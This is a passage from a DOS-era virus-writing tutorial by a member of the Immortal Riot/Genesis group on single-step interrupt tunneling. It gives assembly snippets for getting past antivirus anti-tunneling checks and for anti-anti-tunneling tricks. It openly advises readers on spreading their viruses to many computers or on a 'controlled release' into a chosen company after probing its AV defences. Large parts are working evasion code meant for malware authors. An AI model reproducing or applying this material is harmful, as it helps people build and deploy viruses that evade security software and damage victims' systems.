        | Confusing OPCODE CHECKs |
        '-------------------------'
        I mentioned earlier on that the OPCODE CHECK method of tunneling was
    easily confused by a good anti-tunneling routine.  Although the bit of code
    I'll show you won't work against the other single step tunneling methods, it
    will work VERY well against the OPCODE CHECK method (which is, like I said,
    in wide use).  Since the OPCODE CHECK method copies down the last
    intersegment jump as the original interrupt entrypoint, we simply make a few
    fake jumps.

    Do this in the setup of your code:
            mov [fake_jump_address], offset fake_jump_here
            mov [fake_jump_address+2], cs
    And do this to call the proper interrupt routine you're hooked to:
            pushf
            call far ptr [original_interrupt]
                                        ; Executes proper interrupt
            call far ptr [fake_jump_address]
                                        ; Make a fake call, destroying tunnelers
            retf 2                      ; Exit
    fake_jump_address:
            retf

        .----------------------------.
        | De-confusing OPCODE CHECKs |
        '----------------------------'
        Confusing OPCODE CHECKs can be done in many other ways on top of the one
    just described, and as such you shouldn't REALLY be using an OPCODE CHECK
    method anyway, since the CS:LIST method is much more stable :>  Anyway,
    defending yourself against this specific peice of code needs you to check if
    you are doing an intersegment jump to the same code segment.  If so, just
    ignore it and don't save the CS:IP value.  Alternatively, if you were really
    picky you could modify your handler so as to save the address of a jump/call
    ONLY if it is below the last value saved.

        .----------------------------.
        | Removal with code swapping |
        '----------------------------'
        A smart anti-tunneling routine will not rely on the flags to test for
    single step handlers.  Instead, a smart anti-tunneling routine ALWAYS starts
    off in red alert mode, and only does detective work after trying to disable INT
    1, just in case.  A common way to do this, is shown in the code snippet below:
            xor ax, ax
            mov ds, ax
            lds si, [4]                 ; DS:SI points to start of INT 1
            les di, [4]                 ; ES:DI       "          "
            mov ah, 0cfh
            lodsb                       ; load first byte into AL
            xchg ah, al
            stosb                       ; store IRET as first byte of INT 1
            ... (flag tests etc go here) ...
            dec di
            xchg ah, al
            stosb                       ; restore original byte of INT 1

        By putting an IRET as the first byte of INT 1, the routine of INT 1 is
    totally bypassed allowing you to do all the flags tests, etc you want, without
    being hampered by anti-anti-tunneling code.  However, in THIS specific example
    (there are many many ways of putting an IRET into INT 1) you must not modify
    AX, ES or DI, as they're needed when you replace the first byte of INT 1 on
    exit from your interrupt handler.

        .-----------------------.
        | Fooling code swapping |
        '-----------------------'
        In times such as this, things start to get complicated inside our
    tunneling routines.  Even though we can check each opcode before it is
    executed, it isn't much help in this case as there are so many different ways
    of putting a byte into our INT 1 handler.  The only GENERIC way to defeat
    this method, is by checking for MOVS's and then seeing if a byte is being
    MOVS'd into our code segment, skipping the instruction (by modifying the
    return IP pointer in the stack).  However, then you have to begin checking
    for STOS instructions too, etc.  This, well, lets just say it could be done
    if you really tried hard, but they could use another idea like just
    completely installing another INT 1 handler over yours, or putting a byte
    into your INT 1 handler in an awkward way.

        .-------------------------------.
        | Detection with the STACK test |
        '-------------------------------'
        Finally, we come along to the mother of all anti-tunneling tests, the
    stack test.  This is the test where no single step tunneler ever comes out
    alive, and in a minute you will see why.  And you thought fooling code
    swapping sounded hard!  Have a peek at the code below:
            xor ax, ax
            push ax
            mov bp, sp
            pop ax
            cmp [ss:bp-2], ax
            je no_tunnel
            ...

        In case it isn't clear to you, this is what happens.  Remember when we
    POP values from the stack, the values are normally still there, just 2 bytes
    below the SP (because to POP a value the CPU simply copies the SS:SP value to
    where it is wanted and increments SP by two).  So, under normal CPU
    execution, the values we POP off of the stack are still there, totally
    intact, which is what the above routine checked for.

        However, when we go into single stepping mode, before every instruction
    is executed, an INT 1 is called, overwriting old stack values with the FLAGS,
    CS, and IP registers!  So after the routine POP's its value back into AX,
    right away the old stack data is corrupted as our INT 1 is called.

        This is the bane of all single step tunnelers.  You cannot even begin to
    imagine the complexity of an INT 1 handler that has to check for every one of
    the hundreds of ways of pushing and popping values from the stack. It is just
    way too complex, and coupled with the other tests I've shown you above, your
    once simple tunneling routine has turned into a huge fat bloated sack of
    spaghetti code!  Luckily for you, we're not going to be bothered writing such
    a routine.  I myself, at this point in time, don't even want to THINK about
    writing something so big when later on in our document series we'll have to
    rewrite the entire thing anyway.

        .-----------------------.
        | Detection with INT(O) |
        '-----------------------'
        Here's a sick little test you'll want to check out for!  Remember when I
    told you how the INT instruction works, with clearing the TF?  Well, look at
    this code here :)
            xor ax, ax
            mov ds, ax
            push [(4*4)]
            push [(4*4)+2]
            mov [(4*4)], offset my_handler
            mov [(4*4)+2], cs
            pushf
            pop ax
            or ax, 0bh
            push ax
            popf
            into
    my_handler:
            mov bp, sp
            pop ax
            pop ax
            pop ax

        In this example, at the end of the code (which is 286+ code only mind
    you), AX will hold the REAL flags value, and the TF will be turned off in the
    current flags, no matter how much you fiddle with the flags.  Why?  Well, the
    INTO instruction executes an INT 4 if the flags register has the overflow
    set, which we did by directly modifying the flags.  Before then, we set the
    INTO (INT 4) to ourselves via the IVT, and so, the INTO pushes the flags, CS,
    and IP, onto the stack.  At the point of my_handler, the TF has been cleared
    due to the INT instruction, and the pop ax's end up with the value the flags
    are set to on return, which has the TF set :)  Using this routine or
    something similar (like INT 3 or INT xx) needs you to save the original IVT
    value of the interrupt so you can restore it later, else the computer might
    well crash should a real instance of this interrupt be called.

        .-----------------------------.
        | Avoiding the INT(O) pitfall |
        '-----------------------------'
        How do we avoid this?  Simply check for the INT, INTO, and INT 3 opcodes
    in your handler, and if they are present, emulate the interrupt by pushing
    the flags (with TF clear), CS, and IP, onto the stack, and also check for the
    IRET instruction, at which time you make sure the TF is set :)  Make sure you
    code this right, so when you push the flags, CS, and IP onto the stack, there
    is no other information on the stack such as the flags, CS and IP that were
    pushed as INT 1 was executed.  Do this by popping all those values off the
    stack into temporary variables, pushing all your other stuff on, and then
    putting back your INT 1 flags, CS, and IP values, and finally exiting your
    INT 1 handler.  I'm sure you'll work it out.

        .--------------------------.
        | Anti-Anti-Anti Tunneling |
        '--------------------------'
        Okay, this is starting to get a bit out of hand, but it's the last thing
    we need to talk about :)  Remember when I mentioned that segment overrides
    were taken as part of the current instruction?  Well, segment overrides
    aren't the only types of instruction prefix available, as there is also REP,
    REPE, and a few others.  Why am I mentioning this?  Well, imagine writing
    your ulta-leet anti-pushf/popf code into one of your interrupt routines, and
    an AV happens to come up with a small anti-tunneling section of code looking
    like this:
            pushf
            cs:popf

        ARGH!  All your precious hard work flushes down the toilet bowl as your
    interrupt handler doesn't recognize the POPF instruction hiding behind the
    instruction prefix!  You have been disabled by the very code that turns off
    the TF when it see's a PUSHF!  So, now what can you do?  Luckily, the answer
    to this is simple.  Siphon off all the instruction prefixes in a loop before
    you start checking for opcodes.  Simple.

    -----------------------------------------------------------------------------
    Section 5:  Is single step mode still usefull?
    -----------------------------------------------------------------------------
        By now, you may be wondering why anyone would want to use single mode now
    that there are so many ways to defeat it, and rightly so.  However, you must
    look at the bigger picture of computer users and AV software.  For starters,
    most computers these days use some form of virus protection, ranging from old
    behaviour blockers written in 1989 to the really good AV software which is up
    to date and has behaviour blockers built in.  However, the usage of old
    software, and new software without anti-tunnel capabilities far outweighs the
    current level of AV software used that DOES provide anti-tunneling, and as
    such the choice is clear.  If you are planning for your virus to infect lots
    of computers around the world, then it is much better using some tunneling
    method than none at all, as the pros far outweigh the cons.  However, if
    you're planning for a controlled release into say, a major company, it would
    be best to do a bit of detective work to see if their computers are running
    appropriate AV software before including a single step mode tunneling module
    in your virus.

    -----------------------------------------------------------------------------
    Section 6:  Conclusion
    -----------------------------------------------------------------------------
        Which single step tunneling method you'll use in your viruses is up to you,
    however the main things that will base your decision upon are:
        - the space requirements of your virus with the various tunneling routines
        - levels of compatability required in your virus
        - the types of computers you're planning to infect
        - the individual pros and cons of each routine

        There is also another thing that needs mentioning, each and every routine I
    have presented to you only returns to you the value it BELIEVES is the original
    interrupt entrypoint.  Of course, all of these tunnelers can get confused and
    return an incorrect value, and using that value in your code without first
    doing some sort of error checking would be disasterous!  However, as yet I do
    now know a failsafe way of doing this.

        Also, DESQView (a dos multitasking program) does NOT like programs trying
    to tunnel the interrupts when they are not the only programs running.  This
    is probably because half way through your tunnel DESQView swaps a different
    program into memory to be executed and doesn't properly handle the TF.  So
    suddenly, where your INT 1 handler once was, it is no more and the tunneling
    goes haywire totally crashing the computer.  >sigh<  I guess you're just
    going to have to start adding DESQView aware code:
            mov ax, 02b01h
            mov cx, 'DE'
            mov dx, 'SQ'
            int 021h
            cmp al, -1
            je no_desqview
            jmp run_from_desqview           ; This should work with all versions
                                            ; of DESQView :)

        To round off this whole document, you should look at the example program
    included.  It is just a quick something I whipped up to demonstrate how to
    put everything you've learnt so far together into a working program.  It's
    not a virus :)  It just tells you what the end result is of each tunneling
    module, so that you can compare performance.  No anti-anti-tunneling code is
    included in it, because I can't be bothered after writing so much, but it is
    DESQView/DOS version aware :)  It can be assembled into a .COM file with A86.

        So now you have finally shrugged off your previously innocent disguise as
    amoeba and progressed to the status level of marsupial, which is a BIG step!
    However, there is a long road left to travel in regards to tunneling methods
    before you reach the status level of tunneling god, so I suggest you grab the
    next document in this series.  What's it about?  Well, it's about tunneling
    via code scanning, which is somewhat like the OPCODE CHECK/CS:LIST methods,
    but without using INT 1 and without being able to be detected.  Think about
    the implications of that for a little while :)

        Anyway, I hope you enjoyed reading this document as much as I got pissed
    off while writing it and debugging all the little sections of code :)  Yer,
    this one was a real fucker!

                                            Methyl [Immortal Riot/Genesis]